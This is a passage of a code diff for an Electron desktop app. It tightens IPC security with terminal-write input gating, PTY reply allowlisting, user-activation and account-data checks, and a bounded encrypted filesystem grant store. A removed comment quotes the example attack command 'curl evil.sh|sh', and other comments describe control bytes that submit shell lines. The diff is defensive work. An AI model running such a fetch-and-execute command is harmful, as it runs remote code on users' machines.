vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) // Enumerating "what submits" would have missed these: EOT hands a partial // line to a canonical-mode reader, and 0x0f executes the current line in @@ -1713,8 +1914,9 @@ describe('registerIpcHandlers', () => { } expect(write).not.toHaveBeenCalled() - on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r', 'chat-a') - expect(write).toHaveBeenCalledWith('chat-a', 't1', 'ls\r') + activeSender.press() + on.get('terminal:write')?.(activeAppEvent, 't1', 'l', 'chat-a') + expect(write).toHaveBeenCalledWith('chat-a', 't1', 'l', activeSender.sender) }) it('defaults password conflicts to keeping what is already stored', async () => { diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index b230af7ad4d..a2a3936d061 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -1,3 +1,5 @@ +import { normalize } from 'node:path' +import { fileURLToPath } from 'node:url' import { type BrowserPanelAction, type BrowserPanelAnchor, @@ -9,6 +11,8 @@ import { } from '@sim/browser-protocol' import { type DesktopNotificationPayload, + type DesktopServerChangeResult, + type DesktopServerConfiguration, type DesktopUpdateState, type DesktopWindowState, type DesktopZoomPercent, @@ -17,14 +21,17 @@ import { isDesktopZoomPercent, isPendingDesktopScopeId, } from '@sim/desktop-bridge' +import { createLogger } from '@sim/logger' import { isTerminalOperation, isTerminalToolName, type TerminalToolArgs, } from '@sim/terminal-protocol' +import { getErrorMessage } from '@sim/utils/errors' import { isRecordLike } from '@sim/utils/object' +import { PASTE_LIMITS, utf8ByteLength } from '@sim/utils/paste' import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron' -import { clipboard, ipcMain } from 'electron' +import { clipboard, ipcMain, shell } from 'electron' import { type BrowserToolQueueBoundary, cancelActiveTool, @@ -82,8 +89,58 @@ import type { ScopedEventRouter } from '@/main/scoped-event-router' import type { TerminalRegistry } from '@/main/terminal/registry' import { findCachedTerminalThemeProfile, listTerminalThemeProfiles } from '@/main/terminal-themes' +const logger = createLogger('DesktopIpc') + /** Workspace/chat ids are opaque tokens; anything else never reaches a URL. */ const ID_PATTERN = /^[A-Za-z0-9_-]{1,128}$/ +const TERMINAL_WRITE_CHUNK_CHARACTERS = 64 * 1024 + +function writeTerminalText( + terminal: TerminalRegistry, + scope: string, + terminalId: string, + text: string, + owner?: WebContents +): boolean { + let start = 0 + while (start < text.length) { + let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length) + const finalCode = text.charCodeAt(end - 1) + if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1 + const chunk = text.slice(start, end) + if (owner) { + if (!terminal.writeUserInput(scope, terminalId, chunk, owner)) return false + } else { + terminal.write(scope, terminalId, chunk) + } + start = end + } + return true +} + +const MICROPHONE_SETTINGS_URLS: Partial> = { + darwin: 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone', + win32: 'ms-settings:privacy-microphone', +} + +/** Opens the native microphone privacy pane without accepting a renderer-provided URL. */ +export async function openMicrophoneSettings( + platform: NodeJS.Platform = process.platform +): Promise { + const settingsUrl = MICROPHONE_SETTINGS_URLS[platform] + if (!settingsUrl) return false + + try { + await shell.openExternal(settingsUrl) + return true + } catch (error) { + logger.warn('Could not open microphone privacy settings', { + error: getErrorMessage(error), + platform, + }) + return false + } +} /** * Desktop state is partitioned by the existing chat id. A new-chat view uses @@ -266,6 +323,10 @@ export function parseDesktopNotificationPayload(raw: unknown): DesktopNotificati export interface IpcDeps { appOrigin: () => string allowHttpLocalhost: () => boolean + /** False while local account-data persistence is unavailable or teardown must be retried. */ + accountDataAvailable: () => boolean + /** Absolute paths of the bundled recovery pages allowed to control the shell. */ + localPagePaths: readonly string[] retryLoad: (sender: WebContents) => void localFilesystem: LocalFilesystemService terminal: TerminalRegistry @@ -301,6 +362,11 @@ export interface IpcDeps { check: () => void install: () => void } + server: { + open: () => void + getConfiguration: () => DesktopServerConfiguration + setOrigin: (origin: string) => Promise + } } /** @@ -328,6 +394,10 @@ interface ChannelSpecBase { gate: ChannelGate passSender?: boolean requires?: ChannelFeature + /** Account-bearing storage must be readable and writable before this channel can run. */ + requiresAccountData?: boolean + /** Requires a recent trusted input event for every call, or only selected argument shapes. */ + needsUserActivation?: boolean | ((args: readonly unknown[]) => boolean) /** * Why this channel's `gate` or `requires` deviates from the rest of its * name family. Required by `check:desktop-ipc` for any channel that does, @@ -343,26 +413,24 @@ interface ChannelSpecBase { type ChannelSpec = | (ChannelSpecBase & { kind: 'invoke' - /** Requires an in-progress user gesture in the calling page. */ - needsUserActivation?: boolean /** Returned to the caller when a gate rejects the call. */ denied: unknown handler: (...args: unknown[]) => unknown }) | (ChannelSpecBase & { kind: 'send' - /** - * Requires recent real OS input before a payload is forwarded. Payload- - * scoped rather than channel-scoped because the same channel also carries - * terminal replies the PTY solicits, which arrive with no user input. - */ - payloadNeedsDeliberateInput?: boolean handler: (...args: unknown[]) => void }) -function isLocalPageSender(event: IpcMainEvent | IpcMainInvokeEvent): boolean { +function isLocalPageSender( + event: IpcMainEvent | IpcMainInvokeEvent, + localPagePaths: readonly string[] +): boolean { try { - return new URL(event.senderFrame?.url ?? '').protocol === 'file:' + const url = new URL(event.senderFrame?.url ?? '') + if (url.protocol !== 'file:') return false + const senderPath = normalize(fileURLToPath(url)) + return localPagePaths.some((allowedPath) => senderPath === normalize(allowedPath)) } catch { return false } @@ -410,44 +478,16 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean * machine-generated and self-delimiting, which is what makes them safe to * enumerate. * - * Bodies are printable-only ({@link PTY_REPLY_BODY}), never `[\s\S]`. A real - * DCS or OSC reply carries text terminated by ST or BEL and never a control - * byte, so an unbounded interior would let a hostile renderer wrap a whole - * command and its submit inside a fake `ESC ] ... CR BEL` and be waved through - * as a reply, reopening the path this gate exists to close. X10 mouse is - * bounded the same way: its three bytes are offset by 32, so a control byte - * there is never legitimate either. + * Only numeric/fixed device reports and fixed focus reports are included. DCS, + * OSC, and mouse responses are deliberately excluded even when well-formed: + * they do not need an unconditional path around the trusted-input gate. */ -const PTY_REPLY_BODY = '[\\u0020-\\u00ff]' -const PTY_REPLY_PATTERNS = [ - /\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes - /\u001b\[[IO]/, // focus in/out (mode 1004) - new RegExp(`\\u001b\\[M${PTY_REPLY_BODY}{3}`), // X10 mouse report - /\u001b\[<[0-9;]*[mM]/, // SGR mouse report - new RegExp(`\\u001bP${PTY_REPLY_BODY}*?\\u001b\\\\`), // DCS response - new RegExp(`\\u001b\\]${PTY_REPLY_BODY}*?(?:\\u0007|\\u001b\\\\)`), // OSC response -] +const PTY_REPLY_PATTERNS = [/\u001b\[[0-9;?]*[Rc]/, /\u001b\[[IO]/] const PTY_REPLY = new RegExp( `^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$` ) - -/** - * Whether a terminal-write payload needs a person behind it. - * - * The reply set is enumerated and everything else is gated, rather than the - * other way round. "What submits" is not a closed set: besides carriage return - * and newline, EOT (`0x04`) hands a partial line straight to a reader in - * canonical mode, and `0x0f` is `operate-and-get-next` in bash and - * `accept-line-and-down-history` in zsh — both of which execute the current - * line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that - * set would leave whichever binding was forgotten ungated, so the allowlist runs - * the other way and fails closed. - */ -function needsDeliberateInputForWrite(args: unknown[]): boolean { - const data = args[1] - if (typeof data !== 'string' || data.length === 0) return false - return !PTY_REPLY.test(data) -} +const MAX_TERMINAL_WRITE_CHARS = 256_000 +const MAX_PTY_REPLY_CHARS = 8_192 interface DesktopToolAuthorization { chatId: string @@ -614,17 +654,27 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:open-external': { kind: 'invoke', gate: 'any', + needsUserActivation: true, deviationReason: 'the offline and error pages are local-page senders, not app-origin, and handing a support link to the system browser is the one action that must work when the app cannot reach its origin at all', denied: false, handler: (url) => typeof url === 'string' ? openExternalSafe(url, deps.allowHttpLocalhost()) : false, }, + 'desktop:open-microphone-settings': { + kind: 'invoke', + gate: 'app-origin', + needsUserActivation: true, + denied: false, + handler: () => openMicrophoneSettings(), + }, // OAuth connect handoff: the whole flow runs in the system browser (state // is cookie-bound to the initiating user agent), returning via loopback. 'desktop:oauth-connect': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, + needsUserActivation: true, denied: false, handler: (providerId, scope) => { if (typeof providerId !== 'string') { @@ -640,6 +690,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:local-filesystem': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, denied: { ok: false, code: 'ACCESS_DENIED', @@ -656,6 +707,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:settings:set': { kind: 'invoke', gate: 'app-origin', + needsUserActivation: ([key]) => key === 'launchAtLogin', denied: null, handler: (key, value) => isDesktopPreferenceKey(key) && typeof value === 'boolean' @@ -754,11 +806,13 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:updates:check': { kind: 'send', gate: 'app-origin', + needsUserActivation: true, handler: () => deps.updates.check(), }, 'desktop:updates:install': { kind: 'send', gate: 'app-origin', + needsUserActivation: true, handler: () => deps.updates.install(), }, 'browser-agent:execute-tool': { @@ -933,6 +987,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-agent:get-known-sessions': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, deviationReason: "read/reset of the surface's own data; gating it on the surface would strand the browsing trail with no way to inspect or erase it", denied: { sessions: [] }, @@ -951,6 +1006,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-agent:clear-browsing-data': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, deviationReason: 'erasing browsing data has to work with the browser off, which is the state a user clearing it is most likely to be in', needsUserActivation: true, @@ -1025,6 +1081,10 @@ export function registerIpcHandlers(deps: IpcDeps): void { gate: 'app-origin', requires: 'browser', passSender: true, + needsUserActivation: ([action]) => + isRecordLike(action) && + action.action === 'respond-media-permission' && + action.allowed === true, handler: (sender, action, rawScope) => { const scope = activeRendererScope(browserScopeBySender, sender as WebContents, rawScope) if ( @@ -1274,12 +1334,14 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:available': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, denied: false, handler: () => credentialsAvailable(), }, 'browser-credentials:list': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, denied: [], handler: () => listCredentials(), }, @@ -1304,6 +1366,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-import:sites': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, deviationReason: 'a read of already-imported data; settings lists these hosts to show what an import brought over, which is what you look at while deciding whether to enable the browser', denied: [], @@ -1315,6 +1378,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:reveal': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, needsUserActivation: true, denied: null, handler: (id) => (typeof id === 'string' ? revealCredential(id) : null), @@ -1322,6 +1386,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:copy': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, needsUserActivation: true, denied: false, handler: (id) => (typeof id === 'string' ? copyCredential(id) : false), @@ -1329,6 +1394,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:forget': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, needsUserActivation: true, denied: [], handler: (id) => (typeof id === 'string' ? forgetCredential(id) : listCredentials()), @@ -1336,6 +1402,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:forget-all': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, needsUserActivation: true, denied: [], handler: () => forgetAllCredentials(), @@ -1495,18 +1562,20 @@ export function registerIpcHandlers(deps: IpcDeps): void { requires: 'terminal', passSender: true, denied: false, - // The bytes come from the clipboard here, not from the caller, so this - // does not need the write gate: a compromised renderer can only replay - // what the user already copied. It still needs a real gesture, because - // the legitimate caller is a Paste click or ⌘V. + // Paste is the sole interactive operation whose bytes do not originate + // in the renderer. The shell reads the clipboard itself after a fresh + // click/shortcut and still requires visible, focused active-tab + // ownership below. needsUserActivation: true, handler: (sender, terminalId, rawScope) => { const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope) if (!scope || typeof terminalId !== 'string') return false const text = clipboard.readText() if (!text) return false - deps.terminal.write(scope, terminalId, text) - return true + if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) { + return 'too-large' + } + return writeTerminalText(deps.terminal, scope, terminalId, text, sender as WebContents) }, }, 'terminal:scrollback': { @@ -1597,10 +1666,19 @@ export function registerIpcHandlers(deps: IpcDeps): void { kind: 'invoke', gate: 'app-origin', requires: 'terminal', + passSender: true, denied: false, - handler: (rawScope) => { + handler: (sender, rawScope) => { const scope = parseDesktopScope(rawScope) - if (!scope || !isPendingDesktopScopeId(scope)) return false + const contents = sender as WebContents + if ( + !scope || + !isPendingDesktopScopeId(scope) || + !terminalPendingScopesBySender.get(contents)?.has(scope) + ) { + return false + } + consumePendingScope(terminalPendingScopesBySender, contents, scope) deps.terminal.disposeScope(scope) return true }, @@ -1609,10 +1687,18 @@ export function registerIpcHandlers(deps: IpcDeps): void { kind: 'invoke', gate: 'app-origin', requires: 'terminal', + passSender: true, denied: false, - handler: (rawScope) => { + handler: (sender, rawScope) => { const scope = parseDesktopScope(rawScope) - if (!scope || isPendingDesktopScopeId(scope)) return false + const contents = sender as WebContents + if ( + !scope || + isPendingDesktopScopeId(scope) || + terminalScopeBySender.get(contents) !== scope + ) { + return false + } const suspended = deps.terminal.suspendScope(scope) if (suspended) { deps.scopeEvents.sendTerminal(scope, 'terminal:scope-suspended', scope) @@ -1675,13 +1761,15 @@ export function registerIpcHandlers(deps: IpcDeps): void { gate: 'app-origin', requires: 'terminal', passSender: true, + needsUserActivation: true, denied: { tabs: [], activeTerminalId: null }, handler: (sender, terminalId, rawScope) => { - const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope) + const contents = sender as WebContents + const scope = activeRendererScope(terminalScopeBySender, contents, rawScope) if (!scope) return { tabs: [], activeTerminalId: null } const tabs = typeof terminalId === 'string' - ? deps.terminal.closeTerminal(scope, terminalId) + ? deps.terminal.closeUserTerminal(scope, terminalId, contents) : deps.terminal.getTabs(scope) return { ...tabs, scopeId: scope } }, @@ -1694,19 +1782,15 @@ export function registerIpcHandlers(deps: IpcDeps): void { handler: (sender, terminalId, data, rawScope) => { const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope) if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return - deps.terminal.write(scope, terminalId, data) + if (data.length === 0 || data.length > MAX_TERMINAL_WRITE_CHARS) return + if (data.length <= MAX_PTY_REPLY_CHARS && PTY_REPLY.test(data)) { + writeTerminalText(deps.terminal, scope, terminalId, data) + return + } + const contents = sender as WebContents + if (!hasRecentDeliberateInput(contents)) return + writeTerminalText(deps.terminal, scope, terminalId, data, contents) }, - // An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`. - // Panel focus is deliberately not used — `terminal:focused` is a - // renderer-asserted claim the same attacker can set. - // - // MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's - // line buffer, where the user's own next Enter submits it — visible on - // screen, but not prevented. Closing that needs the interactive path off - // the renderer surface entirely (main writing the keystrokes it already - // observes) or the terminal in its own WebContents, neither of which is a - // gate change. Tracked as follow-up. - payloadNeedsDeliberateInput: true, }, 'terminal:resize': { kind: 'send', @@ -1724,39 +1808,75 @@ export function registerIpcHandlers(deps: IpcDeps): void { deps.terminal.resize(scope, terminalId, toCellCount(cols, 1), toCellCount(rows, 1)) }, }, - 'terminal:dispose': { - kind: 'send', - gate: 'app-origin', - deviationReason: - 'tearing the surface down must survive the surface being off, or a terminal left running when the feature was disabled could never be reaped', - handler: () => deps.terminal.dispose(), - }, 'offline:retry': { kind: 'send', gate: 'local-page', passSender: true, handler: (sender) => deps.retryLoad(sender as WebContents), }, + // The `server:` family is local-page only, and deliberately so: the one + // surface that repoints the shell at another deployment must keep working + // when the current one is unreachable (the offline page is where a + // self-hoster with a typo'd origin actually lands), and must never be + // drivable by a page the current server serves. + 'server:open': { + kind: 'send', + gate: 'local-page', + handler: () => deps.server.open(), + }, + 'server:get-configuration': { + kind: 'invoke', + gate: 'local-page', + denied: null, + handler: () => deps.server.getConfiguration(), + }, + 'server:set-origin': { + kind: 'invoke', + gate: 'local-page', + denied: { ok: false, error: 'The server can only be changed from the Sim app itself.' }, + handler: (origin) => + typeof origin === 'string' + ? deps.server.setOrigin(origin) + : { ok: false, error: 'Server URL is required' }, + }, } const senderAllowed = (event: IpcMainEvent | IpcMainInvokeEvent, gate: ChannelGate): boolean => { if (gate === 'any') return true if (gate === 'app-origin') return isAppOriginSender(event, deps.appOrigin()) if (gate === 'browser-page') return isAgentWebContents(event.sender) - return isLocalPageSender(event) + return isLocalPageSender(event, deps.localPagePaths) } const featureAllowed = (feature: ChannelFeature | undefined): boolean => { if (!feature) return true + if (!deps.accountDataAvailable()) return false const preferences = deps.settings.getPreferences() return feature === 'browser' ? preferences.browserEnabled : preferences.terminalEnabled } + const accountDataAllowed = (spec: ChannelSpec): boolean => + spec.requiresAccountData !== true || deps.accountDataAvailable() + + const requiresUserActivation = ( + requirement: ChannelSpecBase['needsUserActivation'], + args: readonly unknown[] + ): boolean => (typeof requirement === 'function' ? requirement(args) : requirement === true) + for (const [channel, spec] of Object.entries(channels)) { if (spec.kind === 'invoke') { ipcMain.handle(channel, async (event, ...args) => { - if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return spec.denied - if (spec.needsUserActivation && !senderHasUserGesture(event)) { + if ( + !senderAllowed(event, spec.gate) || + !featureAllowed(spec.requires) || + !accountDataAllowed(spec) + ) { + return spec.denied + } + if ( + requiresUserActivation(spec.needsUserActivation, args) && + !senderHasUserGesture(event) + ) { return spec.denied } let handlerArgs = args @@ -1769,6 +1889,8 @@ export function registerIpcHandlers(deps: IpcDeps): void { const authorization = await fetchDesktopToolAuthorization(event, deps, args[0]) if ( !authorization || + !requestedScope || + authorization.chatId !== requestedScope || typeof requestedTool !== 'string' || authorization.toolName !== requestedTool || !isBrowserToolName(authorization.toolName) @@ -1833,11 +1955,16 @@ export function registerIpcHandlers(deps: IpcDeps): void { }) } else { ipcMain.on(channel, (event, ...args) => { - if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return if ( - spec.payloadNeedsDeliberateInput && - needsDeliberateInputForWrite(args) && - !hasRecentDeliberateInput(event.sender) + !senderAllowed(event, spec.gate) || + !featureAllowed(spec.requires) || + !accountDataAllowed(spec) + ) { + return + } + if ( + requiresUserActivation(spec.needsUserActivation, args) && + !senderHasUserGesture(event) ) { return } diff --git a/apps/desktop/src/main/local-filesystem-grant-store.test.ts b/apps/desktop/src/main/local-filesystem-grant-store.test.ts index 043a3577cb1..2f5ff67f473 100644 --- a/apps/desktop/src/main/local-filesystem-grant-store.test.ts +++ b/apps/desktop/src/main/local-filesystem-grant-store.test.ts @@ -1,4 +1,4 @@ -import { mkdtemp, readFile } from 'node:fs/promises' +import { mkdtemp, readFile, stat, truncate, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { describe, expect, it, vi } from 'vitest' @@ -42,6 +42,32 @@ describe('createEncryptedLocalFilesystemGrantStore', () => { await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' }) }) + it('does not let an earlier save recreate the store after a later clear', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }] + + await store.load() + const saving = store.save(grants) + const clearing = store.clear() + await Promise.all([saving, clearing]) + + await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' }) + }) + + it('applies concurrent mutations in invocation order', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + const first = [{ id: 'grant-1', name: 'first', rootPath: '/private/first' }] + const second = [{ id: 'grant-2', name: 'second', rootPath: '/private/second' }] + + await Promise.all([store.save(first), store.clear(), store.save(second)]) + + await expect(store.load()).resolves.toEqual(second) + }) + it('does not write a plaintext fallback when OS encryption is unavailable', async () => { const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) const filePath = join(directory, 'grants.json') @@ -52,4 +78,68 @@ describe('createEncryptedLocalFilesystemGrantStore', () => { ).resolves.toBe(false) await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' }) }) + + it('preserves an invalid existing store until an explicit clear', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const original = '{not valid json' + await writeFile(filePath, original) + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }] + + await expect(store.load()).resolves.toEqual([]) + await expect(store.save(grants)).resolves.toBe(false) + await expect(readFile(filePath, 'utf8')).resolves.toBe(original) + + await store.clear() + await expect(store.save(grants)).resolves.toBe(true) + await expect(store.load()).resolves.toEqual(grants) + }) + + it('does not replace a store written by a foreign version', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const original = JSON.stringify({ version: 99, ciphertext: 'future' }) + await writeFile(filePath, original) + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + + await expect(store.save([])).resolves.toBe(false) + await expect(readFile(filePath, 'utf8')).resolves.toBe(original) + }) + + it('preserves an oversized grant store until explicit clear', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + await writeFile(filePath, '') + await truncate(filePath, 4 * 1024 * 1024 + 1) + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + + await expect(store.load()).resolves.toEqual([]) + await expect( + store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]) + ).resolves.toBe(false) + expect((await stat(filePath)).size).toBe(4 * 1024 * 1024 + 1) + + await store.clear() + await expect( + store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]) + ).resolves.toBe(true) + }) + + it('blocks stored grants with fields outside the persistence contract', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const encryption = testEncryption() + const payload = [{ id: 'grant-1', name: 'project', rootPath: `/${'x'.repeat(4_096)}` }] + const original = JSON.stringify({ + version: 1, + ciphertext: encryption.encryptString(JSON.stringify(payload)).toString('base64'), + }) + await writeFile(filePath, original) + const store = createEncryptedLocalFilesystemGrantStore(filePath, encryption) + + await expect(store.load()).resolves.toEqual([]) + await expect(store.save([])).resolves.toBe(false) + await expect(readFile(filePath, 'utf8')).resolves.toBe(original) + }) }) diff --git a/apps/desktop/src/main/local-filesystem-grant-store.ts b/apps/desktop/src/main/local-filesystem-grant-store.ts index 2a086e11251..67216976840 100644 --- a/apps/desktop/src/main/local-filesystem-grant-store.ts +++ b/apps/desktop/src/main/local-filesystem-grant-store.ts @@ -1,8 +1,21 @@ -import { readFile } from 'node:fs/promises' +import { createLogger } from '@sim/logger' import { safeStorage } from 'electron' -import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file' +import { + FileResourceLimitError, + readFileWithinLimit, + removeFileIfPresent, + writeJsonFileAtomically, +} from '@/main/atomic-json-file' const STORE_VERSION = 1 +const MAX_GRANT_STORE_BYTES = 4 * 1024 * 1024 +const MAX_GRANT_PAYLOAD_BYTES = 5 * 512 * 1024 +const MAX_PERSISTED_GRANTS = 256 +const MAX_GRANT_ID_LENGTH = 128 +const MAX_GRANT_NAME_LENGTH = 512 +const MAX_GRANT_PATH_LENGTH = 4_096 +const MAX_GRANT_BOOKMARK_LENGTH = 256 * 1024 +const logger = createLogger('LocalFilesystemGrantStore') export interface PersistedLocalFilesystemGrant { id: string @@ -33,9 +46,19 @@ function isPersistedGrant(value: unknown): value is PersistedLocalFilesystemGran const grant = value as Record return ( typeof grant.id === 'string' && + grant.id.length > 0 && + grant.id.length <= MAX_GRANT_ID_LENGTH && typeof grant.name === 'string' && + grant.name.length > 0 && + grant.name.length <= MAX_GRANT_NAME_LENGTH && typeof grant.rootPath === 'string' && - (grant.bookmark === undefined || typeof grant.bookmark === 'string') + grant.rootPath.length > 0 && + grant.rootPath.length <= MAX_GRANT_PATH_LENGTH && + !grant.rootPath.includes('\0') && + (grant.bookmark === undefined || + (typeof grant.bookmark === 'string' && + grant.bookmark.length > 0 && + grant.bookmark.length <= MAX_GRANT_BOOKMARK_LENGTH)) ) } @@ -62,33 +85,93 @@ export function createEncryptedLocalFilesystemGrantStore( filePath: string, encryption: EncryptionProvider = safeStorage ): LocalFilesystemGrantStore { - return { - async load() { - if (!encryptionAvailable(encryption)) return [] - try { - const raw = JSON.parse(await readFile(filePath, 'utf8')) as Partial - if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') return [] - const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64')) - const parsed = JSON.parse(decrypted) as unknown - return Array.isArray(parsed) ? parsed.filter(isPersistedGrant) : [] - } catch { + let state: 'unknown' | 'writable' | 'blocked' = 'unknown' + let mutationTail = Promise.resolve() + + const enqueueMutation = (operation: () => Promise): Promise => { + const result = mutationTail.then(operation) + mutationTail = result.then( + () => undefined, + () => undefined + ) + return result + } + + const blockPersistence = ( + reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit' + ) => { + if (state !== 'blocked') { + logger.warn('Local filesystem grant persistence is unavailable', { reason }) + } + state = 'blocked' + } + + const load = async (): Promise => { + if (!encryptionAvailable(encryption) || state === 'blocked') return [] + try { + const raw = JSON.parse( + (await readFileWithinLimit(filePath, MAX_GRANT_STORE_BYTES)).toString('utf8') + ) as Partial + if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') { + blockPersistence('invalid-envelope') return [] } - }, - - async save(grants) { - if (!encryptionAvailable(encryption)) return false - const encrypted = encryption.encryptString(JSON.stringify(grants)) - const envelope: EncryptedGrantEnvelope = { - version: STORE_VERSION, - ciphertext: encrypted.toString('base64'), + const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64')) + if (Buffer.byteLength(decrypted, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) { + blockPersistence('resource-limit') + return [] } - await writeJsonFileAtomically(filePath, envelope) - return true + const parsed = JSON.parse(decrypted) as unknown + if ( + !Array.isArray(parsed) || + parsed.length > MAX_PERSISTED_GRANTS || + !parsed.every(isPersistedGrant) + ) { + blockPersistence('invalid-payload') + return [] + } + state = 'writable' + return parsed + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + state = 'writable' + return [] + } + if (error instanceof FileResourceLimitError) { + blockPersistence('resource-limit') + return [] + } + blockPersistence('read-failed') + return [] + } + } + + return { + load, + + save(grants) { + return enqueueMutation(async () => { + if (!encryptionAvailable(encryption)) return false + if (state === 'unknown') await load() + if (state === 'blocked') return false + if (grants.length > MAX_PERSISTED_GRANTS || !grants.every(isPersistedGrant)) return false + const payload = JSON.stringify(grants) + if (Buffer.byteLength(payload, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) return false + const encrypted = encryption.encryptString(payload) + const envelope: EncryptedGrantEnvelope = { + version: STORE_VERSION, + ciphertext: encrypted.toString('base64'), + } + await writeJsonFileAtomically(filePath, envelope) + return true + }) }, - async clear() { - await removeFileIfPresent(filePath) + clear() { + return enqueueMutation(async () => { + await removeFileIfPresent(filePath) + state = 'writable' + }) }, } } diff --git a/apps/desktop/src/main/local-filesystem.test.ts b/apps/desktop/src/main/local-filesystem.test.ts index e54418f11a7..a04e532bf93 100644 --- a/apps/desktop/src/main/local-filesystem.test.ts +++ b/apps/desktop/src/main/local-filesystem.test.ts @@ -12,6 +12,7 @@ import { DEFAULT_READ_LINES, } from '@sim/desktop-bridge/local-filesystem-limits' import { shell } from 'electron' +import { advanceAccountDataGeneration } from '@/main/account-data-generation' import { LocalFilesystemService } from '@/main/local-filesystem' import type { LocalFilesystemGrantStore, @@ -151,6 +152,74 @@ describe('LocalFilesystemService', () => { expect(statData).toMatchObject({ name: 'index.ts', kind: 'file' }) }) + it('returns a bounded, explicitly truncated directory listing', async () => { + const generatedNames = Array.from( + { length: 510 }, + (_, index) => `generated-${String(509 - index).padStart(3, '0')}.txt` + ) + await Promise.all(generatedNames.map((name) => writeFile(join(root, name), ''))) + const granted = await mount(service) + + const listing = dataOf(await service.handle({ operation: 'list', uri: granted.uri })) + const entries = 'entries' in listing ? listing.entries : [] + + expect(listing).toMatchObject({ truncated: true }) + expect(entries).toHaveLength(500) + expect(entries.map((entry) => entry.name)).toEqual( + ['README.md', 'src', ...generatedNames] + .sort((left, right) => left.localeCompare(right)) + .slice(0, 500) + ) + }) + + it('returns the same capped glob membership regardless of directory enumeration order', async () => { + const generatedNames = Array.from( + { length: 501 }, + (_, index) => `glob-${String(500 - index).padStart(3, '0')}.match` + ) + for (const name of generatedNames) { + await writeFile(join(root, name), '') + } + const granted = await mount(service) + + const result = dataOf( + await service.handle({ operation: 'glob', uri: granted.uri, 